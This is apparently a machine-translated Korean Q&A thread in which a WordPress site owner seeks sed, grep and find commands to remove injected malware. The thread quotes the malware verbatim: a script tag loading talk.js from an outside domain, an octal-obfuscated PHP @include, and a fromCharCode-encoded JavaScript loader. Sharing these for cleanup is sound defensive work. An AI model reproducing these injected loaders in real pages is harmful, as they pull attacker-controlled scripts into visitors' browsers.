sed 또는 grep을 사용하여 전체 문자열을 바꾸는 방법


10

내 서버 전체가 해킹 당했거나 멀웨어 문제가 발생했습니다. 내 사이트는 WordPress를 기반으로하며 서버에서 호스팅되는 대부분의 사이트는 WordPress를 기반으로합니다. 해커는이 코드 줄을 모든 단일 파일과 데이터베이스에 추가했습니다.

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

나는 grep을 통해 그것을 사용하여 검색했다.

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

파일 구조 전체에서 파일을 바꾸려고 sed하고 다음 명령을 작성했습니다.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

index.php먼저 단일 파일의 문자열을 바꾸려고 하므로 작동한다는 것을 알고 있습니다.

내 코드가 잘못되었다는 것을 알고 있습니다. 이것 좀 도와주세요.

@Eran의 코드를 사용해 보았고 예상대로 전체 줄을 삭제했습니다. 그러나 총 전문 용어는 이것입니다

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

그리고 모든 내용을 삭제하고 싶지만 php 여는 태그를 유지하고 싶습니다 <?php.

@ slybloty의 솔루션은 쉽지만 효과적이었습니다.

영향을받는 모든 파일에서 코드를 완전히 제거하십시오. 나는 다음과 같은 3 가지 명령을 실행하고 있습니다.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -스크립트 줄을 제거하려면
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- @include라인 을 제거하려면
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' -주석 줄을 제거하려면

또한 '*.html'해커의 스크립트가 모든 디렉토리에 원치 않는 index.html을 생성했기 때문에에 대한 세 가지 명령을 모두 다시 실행했습니다 . 이러한 index.html을 대량으로 삭제하는 것이 올바른 방법인지 확실하지 않았습니다.

지금도 여전히 정크 파일과 그 흔적을 알아 내야합니다.

해커 스크립트는 JS 코드도 추가했습니다.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

내가 할 수 있는지 확인하려고합니다 sed.


코드가 잘못되었다는 것을 어떻게 알 수 있습니까?
— Beta

왜냐하면, 나는 그것을 실행했고`>`와 같은 다음 줄에 더 많은 입력을 요구하기 때문에
— Dilip Gupta

2
그냥 줄을 삭제할 수 없습니까? SED -I '/ trasnaltemyrecords / D'
— , 둘다 벤 나탄

1
또한 grep을 추가하여 다음과 같이이 줄이있는 모든 파일을 공급할 수 있습니다. while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" 이 -l옵션은 일치하는 텍스트가 아닌 파일 이름 만 제공합니다.
— Jason

1
한 가지 더 ...이 방법을 사용하면에 대한 "백업"선택적 매개 변수를 활용 sed -i합니다. 예를 들어, 편집 된 모든 파일에 sed -i.bak대한 *.bak파일을 만듭니다 . while...grep루프 와 함께 사용하면 해당 문자열이 포함 된 파일 만 백업됩니다. 모든 추가 의견에 대해 죄송하지만 제 생각에 맬웨어는 "모든 실습"시나리오입니다.
— Jason

답변:


2

"문자열에 큰 따옴표 ( )를 사용 하고 작은 따옴표 ( ') 나 태그 ( <>)를 이스케이프 처리하지 마십시오 . 슬래시 ( /) 만 피하십시오 .

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

sed와 함께 사용하기로 결정한 방법에 관계없이 find및과 함께 완벽한 필터링 옵션을 사용하여 여러 파일에서 여러 프로세스를 동시에 실행할 수 있습니다 xargs. 예를 들면 다음과 같습니다.

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

그것은 :

  • find - 찾기
  • -type f -파일 만
  • -name '*.txt' -PHP로 끝나는
  • -print0 -0 바이트로 구분하여 pritn
  • | xargs -0 -0 바이트로 구분 된 각 파일
  • -P7 -7 개의 프로세스를 동시에 실행
  • -n1 -각 파일마다
  • sed -각 파일 실행에 대해 sed
  • -i -파일을 제자리에 편집
  • '...' -다른 답변에서 실행하려는 sed 스크립트.

진행 상황을보기 위해 -t옵션 을 추가 할 수 있습니다 xargs. man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html )를 참조하십시오 .


2

작은 따옴표는 문자 그대로 이스케이프 문자없이 사용됩니다. 에 var='hello\''닫지 않은 따옴표가 있습니다.

이 문제를 해결하려면 1) 큰 따옴표를 사용하여 sed명령 을 둘러싸십시오. 또는 2) 작은 따옴표로 묶인 문자열을 종료하고을 추가 한 \'후 따옴표 문자열을 다시여십시오.

그러나 두 번째 방법은 더 혼란 스럽다.

또한 sed구분자를 사용하여 명령을 분리 할 수 ​​있습니다. 명령에 슬래시가 있으므로 쉼표를 사용하는 것이 더 쉽습니다. 예를 들어 첫 번째 방법을 사용하면

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

두 번째 방법 사용 :

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

이 예는 실제보다 교육적입니다. '\''작동 방식 은 다음과 같습니다 .

첫 번째 ': 현재 인용 리터럴 문자열 종료

\': 작은 따옴표를 리터럴 문자로 입력하십시오.

두 번째 ': 인용 리터럴 문자열을 다시 입력

공간이 없으면 sed명령을 계속 진행합니다 . 이 아이디어는 고유합니다 bash.

나는 탈출 떠납니다 <그리고 >나는 전적으로 당신이이를 사용하고있는 아니라서 거기에. sed사용 \<및\> 평균 단어 매칭. 그것이 의도적인지 확실하지 않습니다.

이것이 일치하지 않으면 <and 를 피하는 것이 >좋습니다.

편집 : 실제 문제에 대한보다 실용적인 해결책에 대한 의견은 @ EranBen-Natan의 솔루션을 참조하십시오. 내 대답은 OP가 원래 명령으로 더 많은 입력을 요청받은 이유에 대한 더 많은 리소스입니다.

편집 솔루션 2

이것이 작동 sed하려면 비표준 옵션이 있다고 가정합니다 -z. GNU 버전 sed은 이것을 가지고 있어야합니다. 또한이 코드는 항상 6 줄 길이의 형식으로 표시된다는 가정을하고 있습니다.

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

작동 방식 : fromCharCode 줄의 시작 부분을 사용하여 모든 것을 일치시킵니다. -z파일을 줄 바꿈 대신 null로 분할합니다. 이를 통해 라인 피드를 직접 검색 할 수 있습니다.

[^\n]*\n-이것은 줄 바꿈까지 모든 것을 일치시킨 다음 욕심 많은 정규식 일치를 피하면서 줄 바꿈과 일치시킵니다. 우리는 줄 바꿈 ( -z)을 나누지 않기 때문에 정규 표현식이 var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n가능한 가장 큰 일치 항목과 일치합니다. 예를 들어, \n}\n파일의 어느 위치 에나 나타날 경우 해당 코드와 악성 코드 사이의 모든 코드를 삭제합니다. 따라서이 순서를 6 번 반복하면 다음 5 줄뿐만 아니라 첫 번째 줄의 끝까지 일치합니다.

grep -lr- grep일치하는 패턴을 가진 파일 만 나열 하는 재귀 적 입니다. 이런 식으로 sed모든 파일을 편집하는 것은 아닙니다. 이것이 없으면 -i.bak(평범하지 않음 -i) 엉망이 될 것입니다.


@Jason에게 감사드립니다.이 방법을 시도해 보겠습니다. 지금은 백업 옵션이 없습니다. 그래서 나는 그것을 청소에 붙어 있습니다.
— Dilip Gupta

@ DilipGupta 지금 당신이 백업하는 것이 좋습니다. rsync백업 및 복원과 같은 것을 사용할 수 있습니다 .
— Jason

adminer.php를 사용하십니까? 보인다는 감염 가능한
— 지로 Matchonson

1

wp-mail-smtp 플러그인이 설치되어 있습니까? 우리는 동일한 멀웨어를 가지고 있으며에 이상한 일이있었습니다 wp-content/plugins/wp-mail-smtp/src/Debug.php.

또한 자바 스크립트 링크는 WordPress 데이터베이스의 모든 post_content필드에 wp_posts있습니다.


네, 플러그인이 설치되어 있으며 당신이 말한 것처럼 있습니다. 먼저 정리하고 보안을 강화하려고합니다. 또한 해커가라는 플러그인을 설치 super-socialat했음을 확인하십시오.
— Dilip Gupta

그 Debug.php에서 정확히 무엇을 찾았습니까? 이상한 것을 찾지 못했을 수도 있지만 다른 파일에 저장되었을 수도 있습니다. 코드의 일부를 제공하면 파일을 검색 할 수 있습니까? 설치된 새로운 플러그인을 찾지 못했습니다.
— Jiro Matchonson

1
어떤 편집기를 사용 했습니까? 내가 그것을 vim에서 열면 weid 같은 것을 볼 수 있지만 나노 나 Geany와 같은 편집기에서는 볼 수 없다 .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
— skuroedov

안녕하세요, 나는 winscp를 통해 그것을 찾고 있었지만 이제는 vi를 시도했지만 여전히 문제를 찾지 못했습니다. Tnx는 예를 들어 파일에서 파일을 검색합니다.
— Jiro Matchonson '12

약간의 관점에서 보면 $ GLOBALS 변수의 문자 위치 또는 이와 비슷한 것을 사용하여 작성된 sql 문 인 것 같습니다. 그래서 단순히 "trasnaltemyrecords"를 찾아서 찾을 수 없습니다. grep -r "NULL을 찾으려고했습니다. ); @ $ "/ var / www / html / { . } 또는 다른 것들이지만 아무것도 찾지 못했습니다. 어쨌든 나는 워드 프레스 페이지에 오래된 adminer.php를 가지고 있었기 때문에 유출의 원인이 될 수 있습니다 ..
— Jiro Matchonson

0

나는 오늘 같은 것을 얻었다, 모든 페이지 포스트는이 불쾌한 바이러스 스크립트를 추가했다

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

나는 데이터베이스에서 그것을 비활성화했다.

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

최소한 감염된 파일이 없습니다

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

물건을 찾지 못했지만 이것이 어떻게 데이터베이스에 들어 가지 않았는지 전혀 알지 못합니다.

이 감염은 페이지에서 리디렉션을 발생 시켰으며 크롬은 대부분이를 감지하여 차단합니다. /wp-mail-smtp/src/Debug.php에서 이상한 점을 발견하지 못했습니다


나는 이것이 플러그인의 일부 중단과 관련이 있다고 가정하고 해커는 사이트에 대한 백도어 액세스 권한을 얻었습니다.
— Dilip Gupta

그러나 어떤 플러그인이 HOUS 통과하고 모든 것을 다시 리디렉션됩니다
— 지로 Matchonson

0

나는 오늘 같은 것을 얻었습니다. 모든 페이지 게시물에는 스크립트가 추가되었습니다. https://en.wordpress.org/plugins/search-and-replace/ plugin 을 사용하여 성공적으로 처리했습니다 .

또한 wp_posts 테이블 post_content 열 folowing 문자열에서 하나의 레코드를 찾았습니다.

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

수동으로 삭제했습니다.


0

나를 위해 이것을했습니다 :

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

검색해야합니다 : * .js, * .json, * .map

당사 사이트를 사용함과 동시에 당사의 쿠키 정책과 개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.